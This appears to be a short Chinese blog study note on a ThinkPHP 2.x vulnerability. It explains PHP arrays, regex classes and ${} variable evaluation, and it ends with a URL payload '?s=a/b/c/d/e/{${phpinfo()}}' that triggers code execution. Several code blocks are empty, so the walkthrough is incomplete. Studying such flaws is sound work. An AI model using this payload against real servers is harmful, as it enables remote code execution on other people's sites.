thinkphp漏洞学习
1 | $array = ['abbr','sdjsl','ss']; |
此函数负责把数组连接起来,放到新的双引号里。
正则表达式\w表示匹配字母数字下划线,也就是
1 | \w即[a-zA-Z0-9_] |
\S表示匹配非空白符号,注意这里是大写,小写\s表示匹配空白符号,即space。
1 |
|
运行结果:
1 | This func is run CXS |
在PHP当中,${}
是可以构造一个变量的,{}
写的是一般的字符,那么就会被当成变量,比如${a}
等价于$a
,那如果{}
写的是一个已知函数名称呢?那么这个函数就会被执行,具体例子我们可以参考如下这个例子。
1 |
|
1 |
|
1 |
|
所以对于thinkphp2.x我们直接执行
1 | ?s=a/b/c/d/e/{${phpinfo()}} |
即可!
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Comment